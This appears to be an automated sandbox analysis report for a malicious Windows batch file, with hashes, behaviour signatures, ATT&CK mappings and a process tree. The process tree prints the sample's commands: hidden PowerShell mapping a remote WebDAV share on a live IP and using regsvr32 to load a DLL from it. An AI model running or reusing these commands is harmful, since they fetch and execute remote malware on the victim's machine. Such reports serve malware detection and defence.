f6d39f07cb4ed2e1fa3af76ae5a6a6da1ebb712d090f074a034b6d7e4c9d707a

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 06:39

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General

Target

1642432402822626487.bat
Size

4KB
MD5

ceb1ea5f5cf6ee1a336b3936dc484f35
SHA1

1497e184c9d573e8a8941008d3b2374e6dc3dc7c
SHA256

f6d39f07cb4ed2e1fa3af76ae5a6a6da1ebb712d090f074a034b6d7e4c9d707a
SHA512

e9f49e1f62e64294eeec2660cd46f312c5d2ad4506c94aca6f3da8bd5936f6c1d41e2526ac7a0a8e7f56aa4590688515a68efe42ba05135b0c5944acf7c07ae5
SSDEEP

96:wmh3yaQpVqGBmuji4TrCFeCoKFcFcFcTbFcFcFcxcf4EfcA0Un/7l:VeqCmnyrCFeCoKmmmnmmmaaA0ezl

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2772	wordpad.exe
2772	wordpad.exe
2772	wordpad.exe
2772	wordpad.exe
2772	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 2772	2740	cmd.exe	31
PID 2740 wrote to memory of 2772	2740	cmd.exe	31
PID 2740 wrote to memory of 2772	2740	cmd.exe	31
PID 2740 wrote to memory of 2680	2740	cmd.exe	32
PID 2740 wrote to memory of 2680	2740	cmd.exe	32
PID 2740 wrote to memory of 2680	2740	cmd.exe	32
PID 2680 wrote to memory of 2692	2680	powershell.exe	34
PID 2680 wrote to memory of 2692	2680	powershell.exe	34
PID 2680 wrote to memory of 2692	2680	powershell.exe	34
PID 2680 wrote to memory of 2612	2680	powershell.exe	35
PID 2680 wrote to memory of 2612	2680	powershell.exe	35
PID 2680 wrote to memory of 2612	2680	powershell.exe	35
PID 2680 wrote to memory of 2612	2680	powershell.exe	35
PID 2680 wrote to memory of 2612	2680	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1642432402822626487.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\6381971231482.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2692
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\6381971231482.dll
    3⤵
    PID:2612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2680-24-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2680-23-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download